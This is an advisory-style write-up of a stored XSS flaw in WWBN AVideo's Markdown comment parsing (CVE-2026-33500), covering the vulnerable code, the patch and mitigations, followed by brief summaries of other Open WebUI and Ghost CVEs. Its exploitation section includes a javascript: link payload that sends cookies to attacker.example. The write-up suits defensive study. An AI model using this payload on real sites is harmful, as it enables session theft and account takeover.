Mar 23, 2026·6 min read·25 visits
An incomplete fix in AVideo <= 26.0 allows authenticated attackers to execute arbitrary JavaScript in a victim's browser by injecting `javascript:` URIs into Markdown links within video comments.
WWBN AVideo versions up to and including 26.0 contain a stored Cross-Site Scripting (XSS) vulnerability. The application utilizes a custom Markdown parsing class that intentionally disables built-in security features, allowing authenticated attackers to inject malicious JavaScript via formatted links. This flaw bypasses previous sanitization efforts introduced to remediate CVE-2026-27568.
WWBN AVideo, formerly known as YouPHPTube, is an open-source video platform that allows users to upload, share, and comment on video content. The application supports Markdown formatting within user comments, processed by the PHP Parsedown library. A vulnerability exists in how the platform customizes this Markdown parsing implementation.
The vulnerability is classified as Stored Cross-Site Scripting (CWE-79). It specifically affects the markDownToHTML() function located in objects/functionsSecurity.php. This function processes user-supplied text before rendering it as HTML in the browser. The core issue involves a security bypass where Markdown-native link syntax is not properly sanitized against malicious URI schemes.
This flaw represents an incomplete remediation of a prior vulnerability, identified as CVE-2026-27568. In attempting to allow specific safe HTML tags while stripping dangerous ones, developers disabled the upstream library's core security mechanisms. This architectural choice left native Markdown syntax handlers exposed to injection attacks.
An authenticated attacker can exploit this vulnerability by submitting a comment containing a crafted Markdown link. When a victim views the affected comment, the application renders an HTML anchor tag with a javascript: URI, resulting in arbitrary JavaScript execution within the context of the victim's session.
The root cause of CVE-2026-33500 is the explicit disabling of the Parsedown library's safeMode combined with incomplete override implementations in a custom subclass. The developers introduced a custom class named ParsedownSafeWithLinks to handle specific HTML tag sanitization.
During the processing of text in objects/functionsSecurity.php, the application instantiates the custom parser and explicitly calls $parsedown->setSafeMode(false). By disabling safeMode, the application opts out of Parsedown's native security features, specifically the filterUnsafeUrlInAttribute() method. This upstream method is responsible for blocking dangerous URI schemes like javascript: and vbscript:.
The custom ParsedownSafeWithLinks class successfully sanitizes raw HTML tags (e.g., <a href="...">) by overriding the inlineMarkup() method and passing the content through a custom sanitizeATag() function. However, the developers failed to override the inlineLink() method, which handles the native Markdown link syntax [text](url).
When a user submits Markdown link syntax, the text bypasses the inlineMarkup() sanitization entirely. It routes through the default inlineLink() method. Because safeMode is disabled, the resulting URL is not checked for dangerous schemes, allowing the application to output unsanitized user input directly into the href attribute of an anchor tag.
An examination of the vulnerable code in objects/functionsSecurity.php demonstrates the misconfiguration of the Markdown parser. The function markDownToHTML instantiates the custom parser and configures its state before processing user input.
function markDownToHTML($text) {
$parsedown = new ParsedownSafeWithLinks();
$parsedown->setSafeMode(false); // Vulnerable configuration
$parsedown->setMarkupEscaped(false);
$html = $parsedown->text($text);
return $html;
}The configuration $parsedown->setSafeMode(false) removes the built-in URI filtering. Without an override for the inlineLink() method in ParsedownSafeWithLinks, any javascript: URI passed via standard Markdown syntax remains intact in the final HTML output.
The official patch addresses this by adding an overridden inlineLink() method to the ParsedownSafeWithLinks class. This override intercepts the parsed link object and applies a strict regular expression whitelist to the href attribute.
protected function inlineLink($Excerpt)
{
$Link = parent::inlineLink($Excerpt);
if ($Link === null) {
return null;
}
$href = isset($Link['element']['attributes']['href']) ? $Link['element']['attributes']['href'] : '';
// Whitelist: http(s), mailto, relative paths, page anchors.
if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
$Link['element']['attributes']['href'] = ''; // Neutralize dangerous URI
}
return $Link;
}This patch ensures that even with safeMode disabled globally, the specific code path responsible for handling Markdown links enforces a strict allowlist. It nullifies the href attribute if the scheme is not explicitly permitted.
Exploitation of CVE-2026-33500 requires the attacker to possess an active session on the target AVideo instance with permissions to submit comments. The attacker must target a video or page where comments are publicly visible or visible to administrative users.
The attacker crafts a comment containing a standard Markdown link structure. Instead of supplying a valid HTTP URL, the attacker provides a javascript: URI payload. The payload structure is [Clickable Text](javascript:malicious_code_here).
[See related video](javascript:fetch('https://attacker.example/log?c='+document.cookie))The application stores this comment in the database without sanitizing the URI. When a victim navigates to the video page, the application retrieves the comment, processes it through markDownToHTML(), and renders the HTML to the victim's browser.
The attack concludes when the victim interacts with the rendered link. The browser executes the JavaScript payload within the security context of the AVideo application. The execution relies on user interaction (UI:R), as the victim must click the injected link.
The concrete security impact of CVE-2026-33500 is the ability for an attacker to execute arbitrary JavaScript in the context of other users' sessions. This classification corresponds to a CVSS 3.1 base score of 5.4 (Medium), with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
Successful exploitation allows the attacker to access sensitive session identifiers, such as cookies or local storage tokens, provided they are not protected by the HttpOnly flag. The attacker can exfiltrate these tokens to a controlled server, facilitating complete session hijacking and account takeover.
Beyond session hijacking, the attacker can force the victim's browser to perform unauthorized actions on the platform. If the victim is an administrative user, the payload can trigger administrative endpoints to alter site configurations, elevate privileges of attacker-controlled accounts, or modify system content.
The impact is constrained by the requirement for user interaction. The payload does not execute automatically upon page load; it strictly requires the victim to click the malicious hyperlink. Additionally, the attacker must hold a valid, authenticated session to inject the payload initially.
The vendor has addressed this vulnerability in WWBN AVideo versions greater than 26.0. System administrators must update their instances to the latest available release. The fix is explicitly tracked in commit 3ae02fa240939dbefc5949d64f05790fd25d728d.
Organizations unable to apply the patch immediately should restrict commenting privileges to trusted users. Disabling comments entirely serves as a temporary workaround that completely mitigates the attack vector. Administrators should monitor the database for existing malicious payloads by searching the comments table for the string javascript:.
Developers maintaining custom forks of AVideo must ensure that the ParsedownSafeWithLinks class is correctly updated with the new inlineLink() override. Furthermore, security teams should implement a Web Application Firewall (WAF) rule to block incoming POST requests to comment submission endpoints if the payload body matches regex patterns indicative of Markdown javascript: URIs.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
AVideo WWBN | <= 26.0 | Commit 3ae02fa240939dbefc5949d64f05790fd25d728d |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 Score | 5.4 |
| Privileges Required | Low (Authenticated) |
| User Interaction | Required |
| Exploit Status | Proof of Concept (PoC) |
| CISA KEV | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
An information disclosure vulnerability in Open WebUI versions 0.10.2 and earlier allows authenticated non-admin users with read-only access (or any authenticated user when a tool is shared publicly) to retrieve the raw Python source code of custom workspace tools. Because these server-side tools commonly contain hardcoded API tokens, credentials, and proprietary logic, the exposure of raw tool source code severely compromises confidentiality and can facilitate wider infrastructure compromise.
CVE-2026-70492 (also tracked as GHSA-pwxh-7358-jq2x) is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI versions 0.10.0 through 0.10.x. The flaw arises because engine-level JavaScript stack overflow errors escape KaTeX standard error handling. Svelte's fallback rendering path assigns the raw, unescaped mathematical input string directly to the DOM using the unsafe {@html} directive, enabling arbitrary client-side code execution. This allows attackers to steal session tokens and perform unauthorized administrative actions when users view malicious messages. The vulnerability has been fully resolved in version 0.11.0.
CVE-2026-70493 is a critical Regular Expression Denial of Service (ReDoS) vulnerability affecting Open WebUI from version 0.9.6 up to (but excluding) 0.11.0. An authenticated user can submit a custom, highly complex regular expression pattern to search files within the knowledge base. Because these expressions are compiled and executed synchronously using Python's standard backtracking re module inside an asynchronous event loop, the server becomes unresponsive. A single request is capable of stalling the entire platform, denying access to all concurrent users of the system.
CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS versions 5.26.0 through 6.54.0. The vulnerability exists within the Universal Import feature of the Ghost Admin interface. When processing imported content from third-party platforms such as Revue, the importer fails to sanitize user-controlled HTML tags, rich-text structured JSON, or link fields before rendering them in the Ghost Admin panel and front-end template rendering contexts.
CVE-2026-53948 is a stored cross-site scripting (XSS) vulnerability in the Ghost content management system. Affected versions (v6.19.4 up to v6.21.0) trusted the client-supplied Content-Type header during file uploads via the Admin API. This allowed authenticated attackers to upload benignly-named files with executable MIME types (like text/html), executing scripts in visitor browsers when hosted on integrated cloud platforms like S3 or GCS.
A business logic vulnerability in Ghost CMS allows unauthenticated remote users to redeem deactivated or archived promotional subscription offers by programmatically passing old offer identifiers during the checkout session initialization.